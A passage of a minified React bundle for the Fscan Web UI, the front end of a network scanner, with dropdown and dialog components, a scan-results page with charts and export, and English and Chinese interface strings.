f=u.detail.originalEvent,h=f.button===0&&f.ctrlKey===!0,p=f.button===2||h;(!i.modal||p)&&(c.current=!0)}),style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});$z.displayName=zz;var Hce="DropdownMenuGroup",qce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Tce,{...i,...r,ref:t})});qce.displayName=Hce;var Fce="DropdownMenuLabel",Bz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Nce,{...i,...r,ref:t})});Bz.displayName=Fce;var Vce="DropdownMenuItem",Uz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Mce,{...i,...r,ref:t})});Uz.displayName=Vce;var Kce="DropdownMenuCheckboxItem",Hz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(jce,{...i,...r,ref:t})});Hz.displayName=Kce;var Yce="DropdownMenuRadioGroup",Gce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Pce,{...i,...r,ref:t})});Gce.displayName=Yce;var Wce="DropdownMenuRadioItem",qz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Rce,{...i,...r,ref:t})});qz.displayName=Wce;var Xce="DropdownMenuItemIndicator",Fz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Dce,{...i,...r,ref:t})});Fz.displayName=Xce;var Zce="DropdownMenuSeparator",Vz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(kce,{...i,...r,ref:t})});Vz.displayName=Zce;var Qce="DropdownMenuArrow",Jce=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Lce,{...i,...r,ref:t})});Jce.displayName=Qce;var eue="DropdownMenuSubTrigger",Kz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(Ice,{...i,...r,ref:t})});Kz.displayName=eue;var tue="DropdownMenuSubContent",Yz=v.forwardRef((e,t)=>{const{__scopeDropdownMenu:n,...r}=e,i=mn(n);return E.jsx(zce,{...i,...r,ref:t,style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});Yz.displayName=tue;var nue=Dz,rue=Lz,aue=Iz,Gz=$z,Wz=Bz,Xz=Uz,Zz=Hz,Qz=qz,Jz=Fz,e5=Vz,t5=Kz,n5=Yz;const iue=nue,oue=rue,lue=v.forwardRef(({className:e,inset:t,children:n,...r},i)=>E.jsxs(t5,{ref:i,className:Ee("flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...r,children:[n,E.jsx(j6,{className:"ml-auto"})]}));lue.displayName=t5.displayName;const sue=v.forwardRef(({className:e,...t},n)=>E.jsx(n5,{ref:n,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...t}));sue.displayName=n5.displayName;const r5=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(aue,{children:E.jsx(Gz,{ref:r,sideOffset:t,className:Ee("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));r5.displayName=Gz.displayName;const Cb=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Xz,{ref:r,className:Ee("relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",t&&"pl-8",e),...n}));Cb.displayName=Xz.displayName;const cue=v.forwardRef(({className:e,children:t,checked:n,...r},i)=>E.jsxs(Zz,{ref:i,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),checked:n,...r,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(gM,{className:"h-4 w-4"})})}),t]}));cue.displayName=Zz.displayName;const uue=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(Qz,{ref:r,className:Ee("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(Jz,{children:E.jsx(z6,{className:"h-2 w-2 fill-current"})})}),t]}));uue.displayName=Qz.displayName;const fue=v.forwardRef(({className:e,inset:t,...n},r)=>E.jsx(Wz,{ref:r,className:Ee("px-2 py-1.5 text-sm font-semibold",t&&"pl-8",e),...n}));fue.displayName=Wz.displayName;const due=v.forwardRef(({className:e,...t},n)=>E.jsx(e5,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));due.displayName=e5.displayName;function dc({className:e,...t}){return E.jsx("div",{className:Ee("animate-pulse rounded-md bg-muted",e),...t})}const di={host:"hsl(var(--chart-1))",port:"hsl(var(--chart-2))",service:"hsl(var(--chart-3))",vuln:"hsl(var(--chart-4))"};function hue({results:e}){const{t}=wo(),n=v.useMemo(()=>{const l={host:0,port:0,service:0,vuln:0};return e.forEach(c=>{const u=c.type?.toLowerCase();u in l&&l[u]++}),[{name:t("typeHost"),value:l.host,fill:di.host},{name:t("typePort"),value:l.port,fill:di.port},{name:t("typeService"),value:l.service,fill:di.service},{name:t("typeVuln"),value:l.vuln,fill:di.vuln}]},[e,t]),r={host:{label:t("typeHost"),color:di.host},port:{label:t("typePort"),color:di.port},service:{label:t("typeService"),color:di.service},vuln:{label:t("typeVuln"),color:di.vuln}},i=e.length>0;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-2",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(s0,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),t("resultsDistribution")]}),E.jsx(ga,{variant:"secondary",className:"font-mono",children:e.length})]}),E.jsx(Zl,{children:i?E.jsxs("div",{className:"space-y-4",children:[E.jsx("div",{className:"flex justify-center",children:E.jsx(bh,{config:r,className:"h-[160px] w-[160px] aspect-square",children:E.jsxs($I,{children:[E.jsx(F1,{data:n.filter(l=>l.value>0),dataKey:"value",nameKey:"name",innerRadius:35,outerRadius:60,strokeWidth:2,stroke:"hsl(var(--background))",children:n.map((l,c)=>E.jsx(go,{fill:l.fill},`cell-${c}`))}),E.jsx(Ob,{content:E.jsx(xh,{hideLabel:!0})})]})})}),E.jsx("div",{className:"space-y-2",children:n.map((l,c)=>E.jsxs("div",{className:"flex items-center justify-between text-sm",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx("div",{className:"w-3 h-3 rounded-sm shrink-0",style:{backgroundColor:l.fill}}),E.jsx("span",{className:"text-muted-foreground",children:l.name})]}),E.jsx("span",{className:"font-mono font-medium",children:l.value})]},c))}),E.jsx(bh,{config:r,className:"h-[120px] w-full",children:E.jsxs(lle,{data:n,layout:"vertical",margin:{left:0,right:8},children:[E.jsx(SI,{type:"number",hide:!0}),E.jsx(OI,{type:"category",dataKey:"name",tickLine:!1,axisLine:!1,width:50,tick:{fontSize:11}}),E.jsx(Ob,{content:E.jsx(xh,{})}),E.jsx(xI,{dataKey:"value",radius:3,children:n.map((l,c)=>E.jsx(go,{fill:l.fill},`cell-${c}`))})]})})]}):E.jsx(Vh,{icon:s0,title:t("chartEmptyTitle"),description:t("chartEmptyDescription"),className:"py-6"})})]})}const pue={host:Tb,port:_b,service:SM,vuln:Nb};function mue(){const{t:e}=wo(),{clearLogs:t}=ax(),[n,r]=v.useState([]),[i,l]=v.useState("all"),[c,u]=v.useState(!1),f=v.useCallback(async()=>{u(!0);try{const S=await Rle(i==="all"?void 0:i);r(S.items)}catch(S){console.error("Failed to fetch results:",S)}finally{u(!1)}},[i]);v.useEffect(()=>{f()},[f]);const h=async S=>{try{const w=await Dle(S),O=URL.createObjectURL(w),A=document.createElement("a");A.href=O,A.download=`fscan_results.${S}`,A.click(),URL.revokeObjectURL(O)}catch(w){console.error("Failed to export:",w)}},p=async()=>{try{await kle(),r([]),t()}catch(S){console.error("Failed to clear:",S)}},m=S=>{const w=S?.toLowerCase();return pue[w]||bM},y=S=>{switch(S?.toLowerCase()){case"host":return e("typeHost");case"port":return e("typePort");case"service":return e("typeService");case"vuln":return e("typeVuln");default:return S}},x=i==="all"?n:n.filter(S=>S.type===i);return E.jsx(xj,{children:E.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-10 gap-4",children:[E.jsxs("div",{className:"lg:col-span-7 space-y-4",children:[E.jsx(GP,{compact:!0,showTypeLabel:!0}),E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(lB,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),e("resultsTitle"),E.jsxs(ga,{variant:"secondary",className:"font-mono",children:[x.length," ",e("items")]})]}),E.jsxs("div",{className:"flex items-center gap-1 sm:gap-2",children:[E.jsxs(qH,{children:[E.jsx(FH,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",onClick:f,disabled:c,className:"gap-1.5",children:[E.jsx(yB,{className:`w-4 h-4 ${c?"animate-spin":""}`}),E.jsx("span",{className:"hidden sm:inline",children:e("refresh")})]})}),E.jsx(wj,{children:e("refresh")})]}),E.jsxs(iue,{children:[E.jsx(oue,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"gap-1.5",children:[E.jsx(H6,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("export")}),E.jsx(Ch,{className:"w-3 h-3"})]})}),E.jsxs(r5,{align:"end",children:[E.jsxs(Cb,{onClick:()=>h("json"),children:[E.jsx(G6,{className:"w-4 h-4 mr-2"}),"JSON"]}),E.jsxs(Cb,{onClick:()=>h("csv"),children:[E.jsx(X6,{className:"w-4 h-4 mr-2"}),"CSV"]})]})]}),E.jsx(y3,{orientation:"vertical",className:"h-5 mx-1"}),E.jsxs(Use,{children:[E.jsx(Hse,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",className:"text-destructive hover:text-destructive hover:bg-destructive/10 gap-1.5",children:[E.jsx(jB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("clearAll")})]})}),E.jsxs(rz,{children:[E.jsxs(az,{children:[E.jsx(oz,{children:e("clearConfirmTitle")}),E.jsx(lz,{children:e("clearConfirm")})]}),E.jsxs(iz,{children:[E.jsx(cz,{children:e("cancel")}),E.jsx(sz,{onClick:p,className:"bg-destructive text-destructive-foreground hover:bg-destructive/90",children:e("clearAll")})]})]})]})]})]}),E.jsx(Zl,{children:E.jsxs(Qle,{value:i,onValueChange:l,children:[E.jsxs(p3,{className:"h-9 sm:h-10 p-1 bg-muted/50 mb-4",children:[E.jsxs(Ol,{value:"all",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Q6,{className:"w-3.5 h-3.5"}),e("resultsFilterAll")]}),E.jsxs(Ol,{value:"host",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Tb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterHosts")})]}),E.jsxs(Ol,{value:"port",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(_b,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterPorts")})]}),E.jsxs(Ol,{value:"service",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(SM,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterServices")})]}),E.jsxs(Ol,{value:"vuln",className:"h-7 sm:h-8 px-3 text-xs sm:text-sm gap-1.5",children:[E.jsx(Nb,{className:"w-3.5 h-3.5"}),E.jsx("span",{className:"hidden sm:inline",children:e("resultsFilterVulns")})]})]}),E.jsx(m3,{value:i,className:"mt-0",children:E.jsx(rx,{className:"h-[calc(100vh-420px)] min-h-[400px]",children:c?E.jsx("div",{className:"space-y-3 py-2",children:[...Array(5)].map((S,w)=>E.jsxs("div",{className:"flex items-start gap-3 p-3 rounded-lg border",children:[E.jsx(dc,{className:"w-10 h-10 rounded-lg shrink-0"}),E.jsxs("div",{className:"flex-1 space-y-2",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(dc,{className:"h-5 w-16"}),E.jsx(dc,{className:"h-4 w-32"})]}),E.jsx(dc,{className:"h-4 w-48"})]}),E.jsx(dc,{className:"h-5 w-20 shrink-0"})]},w))}):x.length===0?E.jsx(Vh,{icon:OM,title:e("resultsEmpty"),description:e("resultsEmptyDescription"),className:"py-16"}):E.jsx("div",{className:"space-y-2",children:x.map(S=>{const w=m(S.type),O=S.type?.toLowerCase();return E.jsxs("div",{className:"group flex items-start gap-3 p-3 rounded-lg border bg-background hover:border-foreground/20 hover:bg-muted/30 transition-all",children:[E.jsx("div",{className:"shrink-0 w-8 h-8 sm:w-10 sm:h-10 rounded-lg flex items-center justify-center bg-muted group-hover:scale-105 transition-transform",children:E.jsx(w,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"})}),E.jsxs("div",{className:"flex-1 min-w-0",children:[E.jsxs("div",{className:"flex items-center gap-2",children:[E.jsx(ga,{variant:O,children:y(S.type)}),E.jsx("span",{className:"font-mono text-sm font-medium truncate",children:S.target})]}),S.status&&E.jsx("p",{className:"mt-1 text-sm text-muted-foreground truncate",children:S.status})]}),E.jsxs(ga,{variant:"outline",className:"shrink-0 gap-1 font-mono text-xs",children:[E.jsx(wM,{className:"w-3 h-3"}),new Date(S.time).toLocaleTimeString()]})]},S.id)})})})})]})})]})]}),E.jsx("div",{className:"lg:col-span-3",children:E.jsx("div",{className:"lg:sticky lg:top-20",children:E.jsx(hue,{results:n})})})]})})}const vue={en:{translation:{appTitle:"Fscan Web UI",appDescription:"Network Security Scanner",navScan:"Scan",navResults:"Results",navSettings:"Settings",scanTitle:"New Scan",scanTarget:"Target",scanTargetPlaceholder:"IP, IP range, domain (e.g., 192.168.1.0/24)",scanPorts:"Ports",scanPortsPlaceholder:"Port range (e.g., 1-1000,3306,8080)",scanPreset:"Preset",scanPresetSelect:"Select preset...",scanMode:"Scan Mode",scanModeAll:"All",scanModeIcmp:"ICMP Only",scanThreads:"Threads",scanTimeout:"Timeout (s)",scanAdvanced:"Advanced Options",scanDisablePing:"Disable Ping",scanDisableBrute:"Disable Brute Force",scanAliveOnly:"Alive Only",scanUsername:"Username",scanPassword:"Password",scanDomain:"Domain",scanExcludeHosts:"Exclude Hosts",scanExcludePorts:"Exclude Ports",scanStartBtn:"Start Scan",scanStopBtn:"Stop Scan",scanRunning:"Scan Running...",statusIdle:"Idle",statusRunning:"Running",statusStopping:"Stopping",statsHosts:"Hosts",statsPorts:"Ports",statsServices:"Services",statsVulns:"Vulnerabilities",resultsTitle:"Scan Results",resultsDistribution:"Results Distribution",chartEmptyTitle:"No data available",chartEmptyDescription:"Statistics will be displayed here after scanning",resultsExport:"Export",resultsClear:"Clear",resultsEmpty:"No results yet",resultsEmptyDescription:"Results will appear here after scanning",resultsFilterAll:"All",resultsFilterHosts:"Hosts",resultsFilterPorts:"Ports",resultsFilterServices:"Services",resultsFilterVulns:"Vulnerabilities",liveFeed:"Live Feed",liveFeedConnected:"Connected",liveFeedDisconnected:"Disconnected",liveFeedEmptyDescription:"Start a scan to see real-time results",settingsTitle:"Settings",settingsLanguage:"Language",settingsTheme:"Theme",settingsThemeLight:"Light",settingsThemeDark:"Dark",settingsThemeSystem:"System",loading:"Loading...",error:"Error",success:"Success",cancel:"Cancel",confirm:"Confirm",close:"Close",items:"items",refresh:"Refresh",clearAll:"Clear all",export:"Export",exportJson:"Export JSON",exportCsv:"Export CSV",targetRequired:"Target is required",startScanFailed:"Failed to start scan",stopScanFailed:"Failed to stop scan",clearConfirmTitle:"Clear Results",clearConfirm:"Are you sure you want to clear all results? This action cannot be undone.",lightMode:"Light mode",darkMode:"Dark mode",typeHost:"host",typePort:"port",typeService:"service",typeVuln:"vuln"}},zh:{translation:{appTitle:"Fscan Web UI",appDescription:"网络安全扫描器",navScan:"扫描",navResults:"结果",navSettings:"设置",scanTitle:"新建扫描",scanTarget:"目标",scanTargetPlaceholder:"IP、IP段、域名 (如: 192.168.1.0/24)",scanPorts:"端口",scanPortsPlaceholder:"端口范围 (如: 1-1000,3306,8080)",scanPreset:"预设",scanPresetSelect:"选择预设...",scanMode:"扫描模式",scanModeAll:"全部",scanModeIcmp:"仅ICMP",scanThreads:"线程数",scanTimeout:"超时(秒)",scanAdvanced:"高级选项",scanDisablePing:"禁用Ping",scanDisableBrute:"禁用爆破",scanAliveOnly:"仅存活检测",scanUsername:"用户名",scanPassword:"密码",scanDomain:"域名",scanExcludeHosts:"排除主机",scanExcludePorts:"排除端口",scanStartBtn:"开始扫描",scanStopBtn:"停止扫描",scanRunning:"扫描进行中...",statusIdle:"空闲",statusRunning:"运行中",statusStopping:"停止中",statsHosts:"主机",statsPorts:"端口",statsServices:"服务",statsVulns:"漏洞",resultsTitle:"扫描结果",resultsDistribution:"结果分布",chartEmptyTitle:"暂无数据",chartEmptyDescription:"扫描后将在此显示统计图表",resultsExport:"导出",resultsClear:"清空",resultsEmpty:"暂无结果",resultsEmptyDescription:"扫描结果将在此显示",resultsFilterAll:"全部",resultsFilterHosts:"主机",resultsFilterPorts:"端口",resultsFilterServices:"服务",resultsFilterVulns:"漏洞",liveFeed:"实时动态",liveFeedConnected:"已连接",liveFeedDisconnected:"已断开",liveFeedEmptyDescription:"开始扫描后将在此显示实时结果",settingsTitle:"设置",settingsLanguage:"语言",settingsTheme:"主题",settingsThemeLight:"浅色",settingsThemeDark:"深色",settingsThemeSystem:"跟随系统",loading:"加载中...",error:"错误",success:"成功",cancel:"取消",confirm:"确认",close:"关闭",items:"条",refresh:"刷新",clearAll:"清空全部",export:"导出",exportJson:"导出 JSON",exportCsv:"导出 CSV",targetRequired:"请输入扫描目标",startScanFailed:"启动扫描失败",stopScanFailed:"停止扫描失败",clearConfirmTitle:"清空结果",clearConfirm:"确定要清空所有结果吗?此操作不可撤销。",lightMode:"浅色模式",darkMode:"深色模式",typeHost:"主机",typePort:"端口",typeService:"服务",typeVuln:"漏洞"}}};hn.use(d6).init({resources:vue,lng:"zh",fallbackLng:"zh",interpolation:{escapeValue:!1}});function gue(){const{t:e,i18n:t}=wo(),[n,r]=v.useState("scan"),[i,l]=v.useState(()=>{if(typeof window<"u"){const c=localStorage.getItem("theme");return c?c==="dark":window.matchMedia("(prefers-color-scheme: dark)").matches}return!1});return v.useEffect(()=>{document.documentElement.classList.toggle("dark",i),localStorage.setItem("theme",i?"dark":"light")},[i]),E.jsx(vq,{children:E.jsxs("div",{className:"min-h-screen bg-background flex flex-col",children:[E.jsx("header",{className:"sticky top-0 z-50 border-b bg-background/95 backdrop-blur-sm",children:E.jsxs("div",{className:"container h-14 sm:h-16 flex items-center justify-between",children:[E.jsxs("div",{className:"flex items-center gap-4 sm:gap-6",children:[E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"flex items-center gap-2 text-foreground hover:opacity-80 transition-opacity",children:[E.jsx("div",{className:"w-7 h-7 sm:w-8 sm:h-8 rounded-lg bg-foreground flex items-center justify-center",children:E.jsx(UA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-background"})}),E.jsx("span",{className:"font-semibold text-base sm:text-lg tracking-tight",children:"fscan"}),E.jsx("span",{className:"text-xs text-muted-foreground font-mono px-1.5 py-0.5 rounded bg-muted hidden sm:inline",children:"v2.1"})]}),E.jsx("div",{className:"h-5 w-px bg-border hidden sm:block"}),E.jsxs("nav",{className:"flex items-center gap-1",children:[E.jsxs(or,{variant:n==="scan"?"default":"ghost",size:"sm",onClick:()=>r("scan"),className:"gap-2",children:[E.jsx(vB,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navScan")})]}),E.jsxs(or,{variant:n==="results"?"default":"ghost",size:"sm",onClick:()=>r("results"),className:"gap-2",children:[E.jsx(s0,{className:"w-4 h-4"}),E.jsx("span",{className:"hidden sm:inline",children:e("navResults")})]})]})]}),E.jsxs("div",{className:"flex items-center gap-1",children:[E.jsx(or,{variant:"ghost",size:"icon",asChild:!0,children:E.jsx("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",title:"GitHub",children:E.jsx(eB,{className:"w-5 h-5"})})}),E.jsx("div",{className:"h-5 w-px bg-border mx-1"}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>t.changeLanguage(t.language==="zh"?"en":"zh"),title:t.language==="zh"?"English":"中文",children:E.jsx(iB,{className:"w-5 h-5"})}),E.jsx(or,{variant:"ghost",size:"icon",onClick:()=>l(!i),title:e(i?"lightMode":"darkMode"),children:i?E.jsx(_B,{className:"w-5 h-5"}):E.jsx(fB,{className:"w-5 h-5"})})]})]})}),E.jsx("main",{className:"container flex-1 py-3 sm:py-4 lg:py-5",children:n==="scan"?E.jsx(zle,{}):E.jsx(mue,{})}),E.jsx("footer",{className:"border-t py-3 sm:py-4",children:E.jsxs("div",{className:"container flex items-center justify-center gap-2 text-xs sm:text-sm text-muted-foreground",children:[E.jsx(UA,{className:"w-4 h-4"}),E.jsx("span",{children:e("appDescription")}),E.jsx("span",{className:"opacity-40",children:"·"}),E.jsxs("a",{href:"https://github.com/shadow1ng/fscan",target:"_blank",rel:"noopener noreferrer",className:"inline-flex items-center gap-1 hover:text-foreground transition-colors",children:["GitHub",E.jsx(K6,{className:"w-3.5 h-3.5"})]})]})})]})})}k$.createRoot(document.getElementById("root")).render(E.jsx(v.StrictMode,{children:E.jsx(gue,{})})); +For more information, see https://radix-ui.com/primitives/docs/components/alert-dialog`;return v.useEffect(()=>{document.getElementById(e.current?.getAttribute("aria-describedby"))||console.warn(t)},[t,e]),null},zse=z3,$se=$3,Bse=B3,X3=U3,Z3=H3,Q3=Y3,J3=W3,ez=F3,tz=K3;const Use=zse,Hse=$se,qse=Bse,nz=v.forwardRef(({className:e,...t},n)=>E.jsx(X3,{className:Ee("fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",e),...t,ref:n}));nz.displayName=X3.displayName;const rz=v.forwardRef(({className:e,...t},n)=>E.jsxs(qse,{children:[E.jsx(nz,{}),E.jsx(Z3,{ref:n,className:Ee("fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",e),...t})]}));rz.displayName=Z3.displayName;const az=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col space-y-2 text-center sm:text-left",e),...t});az.displayName="AlertDialogHeader";const iz=({className:e,...t})=>E.jsx("div",{className:Ee("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",e),...t});iz.displayName="AlertDialogFooter";const oz=v.forwardRef(({className:e,...t},n)=>E.jsx(ez,{ref:n,className:Ee("text-lg font-semibold",e),...t}));oz.displayName=ez.displayName;const lz=v.forwardRef(({className:e,...t},n)=>E.jsx(tz,{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));lz.displayName=tz.displayName;const sz=v.forwardRef(({className:e,...t},n)=>E.jsx(Q3,{ref:n,className:Ee(Vb(),e),...t}));sz.displayName=Q3.displayName;const cz=v.forwardRef(({className:e,...t},n)=>E.jsx(J3,{ref:n,className:Ee(Vb({variant:"outline"}),"mt-2 sm:mt-0",e),...t}));cz.displayName=J3.displayName;function Fse(e){const t=Vse(e),n=v.forwardRef((r,i)=>{const{children:l,...c}=r,u=v.Children.toArray(l),f=u.find(Yse);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}function Vse(e){const t=v.forwardRef((n,r)=>{const{children:i,...l}=n;if(v.isValidElement(i)){const c=Wse(i),u=Gse(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var Kse=Symbol("radix.slottable");function Yse(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===Kse}function Gse(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function Wse(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Ab=["Enter"," "],Xse=["ArrowDown","PageUp","Home"],uz=["ArrowUp","PageDown","End"],Zse=[...Xse,...uz],Qse={ltr:[...Ab,"ArrowRight"],rtl:[...Ab,"ArrowLeft"]},Jse={ltr:["ArrowLeft"],rtl:["ArrowRight"]},vu="Menu",[Bc,ece,tce]=Kb(vu),[To,fz]=Fn(vu,[tce,Fl,$p]),Hp=Fl(),dz=$p(),[nce,No]=To(vu),[rce,gu]=To(vu),hz=e=>{const{__scopeMenu:t,open:n=!1,children:r,dir:i,onOpenChange:l,modal:c=!0}=e,u=Hp(t),[f,h]=v.useState(null),p=v.useRef(!1),m=en(l),y=Kc(i);return v.useEffect(()=>{const x=()=>{p.current=!0,document.addEventListener("pointerdown",S,{capture:!0,once:!0}),document.addEventListener("pointermove",S,{capture:!0,once:!0})},S=()=>p.current=!1;return document.addEventListener("keydown",x,{capture:!0}),()=>{document.removeEventListener("keydown",x,{capture:!0}),document.removeEventListener("pointerdown",S,{capture:!0}),document.removeEventListener("pointermove",S,{capture:!0})}},[]),E.jsx(zb,{...u,children:E.jsx(nce,{scope:t,open:n,onOpenChange:m,content:f,onContentChange:h,children:E.jsx(rce,{scope:t,onClose:v.useCallback(()=>m(!1),[m]),isUsingKeyboardRef:p,dir:y,modal:c,children:r})})})};hz.displayName=vu;var ace="MenuAnchor",rw=v.forwardRef((e,t)=>{const{__scopeMenu:n,...r}=e,i=Hp(n);return E.jsx($b,{...i,...r,ref:t})});rw.displayName=ace;var aw="MenuPortal",[ice,pz]=To(aw,{forceMount:void 0}),mz=e=>{const{__scopeMenu:t,forceMount:n,children:r,container:i}=e,l=No(aw,t);return E.jsx(ice,{scope:t,forceMount:n,children:E.jsx(ln,{present:n||l.open,children:E.jsx(Fc,{asChild:!0,container:i,children:r})})})};mz.displayName=aw;var cr="MenuContent",[oce,iw]=To(cr),vz=v.forwardRef((e,t)=>{const 